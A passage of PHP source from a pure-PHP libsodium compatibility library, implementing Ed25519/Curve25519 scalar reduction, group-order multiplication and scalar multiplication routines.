               self::mul($a11, $b7, 24);
        $s19 = self::mul($a8, $b11, 24) + self::mul($a9, $b10, 24) + self::mul($a10, $b9, 24) + self::mul($a11, $b8, 24);
        $s20 = self::mul($a9, $b11, 24) + self::mul($a10, $b10, 24) + self::mul($a11, $b9, 24);
        $s21 = self::mul($a10, $b11, 24) + self::mul($a11, $b10, 24);
        $s22 = self::mul($a11, $b11, 24);
        $s23 = 0;

        $carry0 = ($s0 + (1 << 20)) >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        $carry2 = ($s2 + (1 << 20)) >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        $carry4 = ($s4 + (1 << 20)) >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        $carry12 = ($s12 + (1 << 20)) >> 21;
        $s13 += $carry12;
        $s12 -= $carry12 << 21;
        $carry14 = ($s14 + (1 << 20)) >> 21;
        $s15 += $carry14;
        $s14 -= $carry14 << 21;
        $carry16 = ($s16 + (1 << 20)) >> 21;
        $s17 += $carry16;
        $s16 -= $carry16 << 21;
        $carry18 = ($s18 + (1 << 20)) >> 21;
        $s19 += $carry18;
        $s18 -= $carry18 << 21;
        $carry20 = ($s20 + (1 << 20)) >> 21;
        $s21 += $carry20;
        $s20 -= $carry20 << 21;
        $carry22 = ($s22 + (1 << 20)) >> 21;
        $s23 += $carry22;
        $s22 -= $carry22 << 21;

        $carry1 = ($s1 + (1 << 20)) >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        $carry3 = ($s3 + (1 << 20)) >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        $carry5 = ($s5 + (1 << 20)) >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;
        $carry13 = ($s13 + (1 << 20)) >> 21;
        $s14 += $carry13;
        $s13 -= $carry13 << 21;
        $carry15 = ($s15 + (1 << 20)) >> 21;
        $s16 += $carry15;
        $s15 -= $carry15 << 21;
        $carry17 = ($s17 + (1 << 20)) >> 21;
        $s18 += $carry17;
        $s17 -= $carry17 << 21;
        $carry19 = ($s19 + (1 << 20)) >> 21;
        $s20 += $carry19;
        $s19 -= $carry19 << 21;
        $carry21 = ($s21 + (1 << 20)) >> 21;
        $s22 += $carry21;
        $s21 -= $carry21 << 21;

        $s11 += self::mul($s23, 666643, 20);
        $s12 += self::mul($s23, 470296, 19);
        $s13 += self::mul($s23, 654183, 20);
        $s14 -= self::mul($s23, 997805, 20);
        $s15 += self::mul($s23, 136657, 18);
        $s16 -= self::mul($s23, 683901, 20);

        $s10 += self::mul($s22, 666643, 20);
        $s11 += self::mul($s22, 470296, 19);
        $s12 += self::mul($s22, 654183, 20);
        $s13 -= self::mul($s22, 997805, 20);
        $s14 += self::mul($s22, 136657, 18);
        $s15 -= self::mul($s22, 683901, 20);

        $s9  += self::mul($s21,  666643, 20);
        $s10 += self::mul($s21,  470296, 19);
        $s11 += self::mul($s21,  654183, 20);
        $s12 -= self::mul($s21,  997805, 20);
        $s13 += self::mul($s21,  136657, 18);
        $s14 -= self::mul($s21,  683901, 20);

        $s8  += self::mul($s20,  666643, 20);
        $s9  += self::mul($s20,  470296, 19);
        $s10 += self::mul($s20,  654183, 20);
        $s11 -= self::mul($s20,  997805, 20);
        $s12 += self::mul($s20,  136657, 18);
        $s13 -= self::mul($s20,  683901, 20);

        $s7  += self::mul($s19,  666643, 20);
        $s8  += self::mul($s19,  470296, 19);
        $s9  += self::mul($s19,  654183, 20);
        $s10 -= self::mul($s19,  997805, 20);
        $s11 += self::mul($s19,  136657, 18);
        $s12 -= self::mul($s19,  683901, 20);

        $s6  += self::mul($s18,  666643, 20);
        $s7  += self::mul($s18,  470296, 19);
        $s8  += self::mul($s18,  654183, 20);
        $s9  -= self::mul($s18,  997805, 20);
        $s10 += self::mul($s18,  136657, 18);
        $s11 -= self::mul($s18,  683901, 20);

        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        $carry12 = ($s12 + (1 << 20)) >> 21;
        $s13 += $carry12;
        $s12 -= $carry12 << 21;
        $carry14 = ($s14 + (1 << 20)) >> 21;
        $s15 += $carry14;
        $s14 -= $carry14 << 21;
        $carry16 = ($s16 + (1 << 20)) >> 21;
        $s17 += $carry16;
        $s16 -= $carry16 << 21;

        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;
        $carry13 = ($s13 + (1 << 20)) >> 21;
        $s14 += $carry13;
        $s13 -= $carry13 << 21;
        $carry15 = ($s15 + (1 << 20)) >> 21;
        $s16 += $carry15;
        $s15 -= $carry15 << 21;

        $s5  += self::mul($s17,  666643, 20);
        $s6  += self::mul($s17,  470296, 19);
        $s7  += self::mul($s17,  654183, 20);
        $s8  -= self::mul($s17,  997805, 20);
        $s9  += self::mul($s17,  136657, 18);
        $s10 -= self::mul($s17,  683901, 20);

        $s4 += self::mul($s16,  666643, 20);
        $s5 += self::mul($s16,  470296, 19);
        $s6 += self::mul($s16,  654183, 20);
        $s7 -= self::mul($s16,  997805, 20);
        $s8 += self::mul($s16,  136657, 18);
        $s9 -= self::mul($s16,  683901, 20);

        $s3 += self::mul($s15,  666643, 20);
        $s4 += self::mul($s15,  470296, 19);
        $s5 += self::mul($s15,  654183, 20);
        $s6 -= self::mul($s15,  997805, 20);
        $s7 += self::mul($s15,  136657, 18);
        $s8 -= self::mul($s15,  683901, 20);

        $s2 += self::mul($s14,  666643, 20);
        $s3 += self::mul($s14,  470296, 19);
        $s4 += self::mul($s14,  654183, 20);
        $s5 -= self::mul($s14,  997805, 20);
        $s6 += self::mul($s14,  136657, 18);
        $s7 -= self::mul($s14,  683901, 20);

        $s1 += self::mul($s13,  666643, 20);
        $s2 += self::mul($s13,  470296, 19);
        $s3 += self::mul($s13,  654183, 20);
        $s4 -= self::mul($s13,  997805, 20);
        $s5 += self::mul($s13,  136657, 18);
        $s6 -= self::mul($s13,  683901, 20);

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);
        $s12 = 0;

        $carry0 = ($s0 + (1 << 20)) >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        $carry2 = ($s2 + (1 << 20)) >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        $carry4 = ($s4 + (1 << 20)) >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        $carry1 = ($s1 + (1 << 20)) >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        $carry3 = ($s3 + (1 << 20)) >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        $carry5 = ($s5 + (1 << 20)) >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);
        $s12 = 0;

        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        $carry11 = $s11 >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);

        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        /**
         * @var array<int, int>
         */
        $arr = array(
            (int) (0xff & ($s0 >> 0)),
            (int) (0xff & ($s0 >> 8)),
            (int) (0xff & (($s0 >> 16) | $s1 << 5)),
            (int) (0xff & ($s1 >> 3)),
            (int) (0xff & ($s1 >> 11)),
            (int) (0xff & (($s1 >> 19) | $s2 << 2)),
            (int) (0xff & ($s2 >> 6)),
            (int) (0xff & (($s2 >> 14) | $s3 << 7)),
            (int) (0xff & ($s3 >> 1)),
            (int) (0xff & ($s3 >> 9)),
            (int) (0xff & (($s3 >> 17) | $s4 << 4)),
            (int) (0xff & ($s4 >> 4)),
            (int) (0xff & ($s4 >> 12)),
            (int) (0xff & (($s4 >> 20) | $s5 << 1)),
            (int) (0xff & ($s5 >> 7)),
            (int) (0xff & (($s5 >> 15) | $s6 << 6)),
            (int) (0xff & ($s6 >> 2)),
            (int) (0xff & ($s6 >> 10)),
            (int) (0xff & (($s6 >> 18) | $s7 << 3)),
            (int) (0xff & ($s7 >> 5)),
            (int) (0xff & ($s7 >> 13)),
            (int) (0xff & ($s8 >> 0)),
            (int) (0xff & ($s8 >> 8)),
            (int) (0xff & (($s8 >> 16) | $s9 << 5)),
            (int) (0xff & ($s9 >> 3)),
            (int) (0xff & ($s9 >> 11)),
            (int) (0xff & (($s9 >> 19) | $s10 << 2)),
            (int) (0xff & ($s10 >> 6)),
            (int) (0xff & (($s10 >> 14) | $s11 << 7)),
            (int) (0xff & ($s11 >> 1)),
            (int) (0xff & ($s11 >> 9)),
            0xff & ($s11 >> 17)
        );
        return self::intArrayToString($arr);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return string
     * @throws TypeError
     */
    public static function sc_reduce($s)
    {
        $s0 = 2097151 & self::load_3(self::substr($s, 0, 3));
        $s1 = 2097151 & (self::load_4(self::substr($s, 2, 4)) >> 5);
        $s2 = 2097151 & (self::load_3(self::substr($s, 5, 3)) >> 2);
        $s3 = 2097151 & (self::load_4(self::substr($s, 7, 4)) >> 7);
        $s4 = 2097151 & (self::load_4(self::substr($s, 10, 4)) >> 4);
        $s5 = 2097151 & (self::load_3(self::substr($s, 13, 3)) >> 1);
        $s6 = 2097151 & (self::load_4(self::substr($s, 15, 4)) >> 6);
        $s7 = 2097151 & (self::load_3(self::substr($s, 18, 4)) >> 3);
        $s8 = 2097151 & self::load_3(self::substr($s, 21, 3));
        $s9 = 2097151 & (self::load_4(self::substr($s, 23, 4)) >> 5);
        $s10 = 2097151 & (self::load_3(self::substr($s, 26, 3)) >> 2);
        $s11 = 2097151 & (self::load_4(self::substr($s, 28, 4)) >> 7);
        $s12 = 2097151 & (self::load_4(self::substr($s, 31, 4)) >> 4);
        $s13 = 2097151 & (self::load_3(self::substr($s, 34, 3)) >> 1);
        $s14 = 2097151 & (self::load_4(self::substr($s, 36, 4)) >> 6);
        $s15 = 2097151 & (self::load_3(self::substr($s, 39, 4)) >> 3);
        $s16 = 2097151 & self::load_3(self::substr($s, 42, 3));
        $s17 = 2097151 & (self::load_4(self::substr($s, 44, 4)) >> 5);
        $s18 = 2097151 & (self::load_3(self::substr($s, 47, 3)) >> 2);
        $s19 = 2097151 & (self::load_4(self::substr($s, 49, 4)) >> 7);
        $s20 = 2097151 & (self::load_4(self::substr($s, 52, 4)) >> 4);
        $s21 = 2097151 & (self::load_3(self::substr($s, 55, 3)) >> 1);
        $s22 = 2097151 & (self::load_4(self::substr($s, 57, 4)) >> 6);
        $s23 = 0x1fffffff & (self::load_4(self::substr($s, 60, 4)) >> 3);

        $s11 += self::mul($s23,  666643, 20);
        $s12 += self::mul($s23,  470296, 19);
        $s13 += self::mul($s23,  654183, 20);
        $s14 -= self::mul($s23,  997805, 20);
        $s15 += self::mul($s23,  136657, 18);
        $s16 -= self::mul($s23,  683901, 20);

        $s10 += self::mul($s22,  666643, 20);
        $s11 += self::mul($s22,  470296, 19);
        $s12 += self::mul($s22,  654183, 20);
        $s13 -= self::mul($s22,  997805, 20);
        $s14 += self::mul($s22,  136657, 18);
        $s15 -= self::mul($s22,  683901, 20);

        $s9  += self::mul($s21,  666643, 20);
        $s10 += self::mul($s21,  470296, 19);
        $s11 += self::mul($s21,  654183, 20);
        $s12 -= self::mul($s21,  997805, 20);
        $s13 += self::mul($s21,  136657, 18);
        $s14 -= self::mul($s21,  683901, 20);

        $s8  += self::mul($s20,  666643, 20);
        $s9  += self::mul($s20,  470296, 19);
        $s10 += self::mul($s20,  654183, 20);
        $s11 -= self::mul($s20,  997805, 20);
        $s12 += self::mul($s20,  136657, 18);
        $s13 -= self::mul($s20,  683901, 20);

        $s7  += self::mul($s19,  666643, 20);
        $s8  += self::mul($s19,  470296, 19);
        $s9  += self::mul($s19,  654183, 20);
        $s10 -= self::mul($s19,  997805, 20);
        $s11 += self::mul($s19,  136657, 18);
        $s12 -= self::mul($s19,  683901, 20);

        $s6  += self::mul($s18,  666643, 20);
        $s7  += self::mul($s18,  470296, 19);
        $s8  += self::mul($s18,  654183, 20);
        $s9  -= self::mul($s18,  997805, 20);
        $s10 += self::mul($s18,  136657, 18);
        $s11 -= self::mul($s18,  683901, 20);

        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        $carry12 = ($s12 + (1 << 20)) >> 21;
        $s13 += $carry12;
        $s12 -= $carry12 << 21;
        $carry14 = ($s14 + (1 << 20)) >> 21;
        $s15 += $carry14;
        $s14 -= $carry14 << 21;
        $carry16 = ($s16 + (1 << 20)) >> 21;
        $s17 += $carry16;
        $s16 -= $carry16 << 21;

        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;
        $carry13 = ($s13 + (1 << 20)) >> 21;
        $s14 += $carry13;
        $s13 -= $carry13 << 21;
        $carry15 = ($s15 + (1 << 20)) >> 21;
        $s16 += $carry15;
        $s15 -= $carry15 << 21;

        $s5  += self::mul($s17,  666643, 20);
        $s6  += self::mul($s17,  470296, 19);
        $s7  += self::mul($s17,  654183, 20);
        $s8  -= self::mul($s17,  997805, 20);
        $s9  += self::mul($s17,  136657, 18);
        $s10 -= self::mul($s17,  683901, 20);

        $s4 += self::mul($s16,  666643, 20);
        $s5 += self::mul($s16,  470296, 19);
        $s6 += self::mul($s16,  654183, 20);
        $s7 -= self::mul($s16,  997805, 20);
        $s8 += self::mul($s16,  136657, 18);
        $s9 -= self::mul($s16,  683901, 20);

        $s3 += self::mul($s15,  666643, 20);
        $s4 += self::mul($s15,  470296, 19);
        $s5 += self::mul($s15,  654183, 20);
        $s6 -= self::mul($s15,  997805, 20);
        $s7 += self::mul($s15,  136657, 18);
        $s8 -= self::mul($s15,  683901, 20);

        $s2 += self::mul($s14,  666643, 20);
        $s3 += self::mul($s14,  470296, 19);
        $s4 += self::mul($s14,  654183, 20);
        $s5 -= self::mul($s14,  997805, 20);
        $s6 += self::mul($s14,  136657, 18);
        $s7 -= self::mul($s14,  683901, 20);

        $s1 += self::mul($s13,  666643, 20);
        $s2 += self::mul($s13,  470296, 19);
        $s3 += self::mul($s13,  654183, 20);
        $s4 -= self::mul($s13,  997805, 20);
        $s5 += self::mul($s13,  136657, 18);
        $s6 -= self::mul($s13,  683901, 20);

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);
        $s12 = 0;

        $carry0 = ($s0 + (1 << 20)) >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        $carry2 = ($s2 + (1 << 20)) >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        $carry4 = ($s4 + (1 << 20)) >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        $carry1 = ($s1 + (1 << 20)) >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        $carry3 = ($s3 + (1 << 20)) >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        $carry5 = ($s5 + (1 << 20)) >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);
        $s12 = 0;

        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        $carry11 = $s11 >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);

        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        /**
         * @var array<int, int>
         */
        $arr = array(
            (int) (0xff & ($s0 >> 0)),
            (int) (0xff & ($s0 >> 8)),
            (int) (0xff & (($s0 >> 16) | $s1 << 5)),
            (int) (0xff & ($s1 >> 3)),
            (int) (0xff & ($s1 >> 11)),
            (int) (0xff & (($s1 >> 19) | $s2 << 2)),
            (int) (0xff & ($s2 >> 6)),
            (int) (0xff & (($s2 >> 14) | $s3 << 7)),
            (int) (0xff & ($s3 >> 1)),
            (int) (0xff & ($s3 >> 9)),
            (int) (0xff & (($s3 >> 17) | $s4 << 4)),
            (int) (0xff & ($s4 >> 4)),
            (int) (0xff & ($s4 >> 12)),
            (int) (0xff & (($s4 >> 20) | $s5 << 1)),
            (int) (0xff & ($s5 >> 7)),
            (int) (0xff & (($s5 >> 15) | $s6 << 6)),
            (int) (0xff & ($s6 >> 2)),
            (int) (0xff & ($s6 >> 10)),
            (int) (0xff & (($s6 >> 18) | $s7 << 3)),
            (int) (0xff & ($s7 >> 5)),
            (int) (0xff & ($s7 >> 13)),
            (int) (0xff & ($s8 >> 0)),
            (int) (0xff & ($s8 >> 8)),
            (int) (0xff & (($s8 >> 16) | $s9 << 5)),
            (int) (0xff & ($s9 >> 3)),
            (int) (0xff & ($s9 >> 11)),
            (int) (0xff & (($s9 >> 19) | $s10 << 2)),
            (int) (0xff & ($s10 >> 6)),
            (int) (0xff & (($s10 >> 14) | $s11 << 7)),
            (int) (0xff & ($s11 >> 1)),
            (int) (0xff & ($s11 >> 9)),
            (int) (0xff & ($s11 >> 17))
        );
        return self::intArrayToString($arr);
    }

    /**
     * multiply by the order of the main subgroup l = 2^252+27742317777372353535851937790883648493
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     */
    public static function ge_mul_l(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A)
    {
        $aslide = array(
            13, 0, 0, 0, 0, -1, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, -5, 0, 0, 0,
            0, 0, 0, -3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 3, 0,
            0, 0, 0, -13, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 11, 0, 0, 0,
            0, 0, 11, 0, 0, 0, 0, -13, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, 0, -1,
            0, 0, 0, 0, 3, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, 0, 15, 0, 0, 0,
            0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 7, 0, 0, 0, 0, 5, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1
        );

        /** @var array<int, ParagonIE_Sodium_Core_Curve25519_Ge_Cached> $Ai size 8 */
        $Ai = array();

        # ge_p3_to_cached(&Ai[0], A);
        $Ai[0] = self::ge_p3_to_cached($A);
        # ge_p3_dbl(&t, A);
        $t = self::ge_p3_dbl($A);
        # ge_p1p1_to_p3(&A2, &t);
        $A2 = self::ge_p1p1_to_p3($t);

        for ($i = 1; $i < 8; ++$i) {
            # ge_add(&t, &A2, &Ai[0]);
            $t = self::ge_add($A2, $Ai[$i - 1]);
            # ge_p1p1_to_p3(&u, &t);
            $u = self::ge_p1p1_to_p3($t);
            # ge_p3_to_cached(&Ai[i], &u);
            $Ai[$i] = self::ge_p3_to_cached($u);
        }

        $r = self::ge_p3_0();
        for ($i = 252; $i >= 0; --$i) {
            $t = self::ge_p3_dbl($r);
            if ($aslide[$i] > 0) {
                # ge_p1p1_to_p3(&u, &t);
                $u = self::ge_p1p1_to_p3($t);
                # ge_add(&t, &u, &Ai[aslide[i] / 2]);
                $t = self::ge_add($u, $Ai[(int)($aslide[$i] / 2)]);
            } elseif ($aslide[$i] < 0) {
                # ge_p1p1_to_p3(&u, &t);
                $u = self::ge_p1p1_to_p3($t);
                # ge_sub(&t, &u, &Ai[(-aslide[i]) / 2]);
                $t = self::ge_sub($u, $Ai[(int)(-$aslide[$i] / 2)]);
            }
        }

        # ge_p1p1_to_p3(r, &t);
        return self::ge_p1p1_to_p3($t);
    }

    /**
     * @param string $a
     * @param string $b
     * @return string
     */
    public static function sc25519_mul($a, $b)
    {
        //    int64_t a0  = 2097151 & load_3(a);
        //    int64_t a1  = 2097151 & (load_4(a + 2) >> 5);
        //    int64_t a2  = 2097151 & (load_3(a + 5) >> 2);
        //    int64_t a3  = 2097151 & (load_4(a + 7) >> 7);
        //    int64_t a4  = 2097151 & (load_4(a + 10) >> 4);
        //    int64_t a5  = 2097151 & (load_3(a + 13) >> 1);
        //    int64_t a6  = 2097151 & (load_4(a + 15) >> 6);
        //    int64_t a7  = 2097151 & (load_3(a + 18) >> 3);
        //    int64_t a8  = 2097151 & load_3(a + 21);
        //    int64_t a9  = 2097151 & (load_4(a + 23) >> 5);
        //    int64_t a10 = 2097151 & (load_3(a + 26) >> 2);
        //    int64_t a11 = (load_4(a + 28) >> 7);
        $a0  = 2097151 &  self::load_3(self::substr($a, 0, 3));
        $a1  = 2097151 & (self::load_4(self::substr($a, 2, 4)) >> 5);
        $a2  = 2097151 & (self::load_3(self::substr($a, 5, 3)) >> 2);
        $a3  = 2097151 & (self::load_4(self::substr($a, 7, 4)) >> 7);
        $a4  = 2097151 & (self::load_4(self::substr($a, 10, 4)) >> 4);
        $a5  = 2097151 & (self::load_3(self::substr($a, 13, 3)) >> 1);
        $a6  = 2097151 & (self::load_4(self::substr($a, 15, 4)) >> 6);
        $a7  = 2097151 & (self::load_3(self::substr($a, 18, 3)) >> 3);
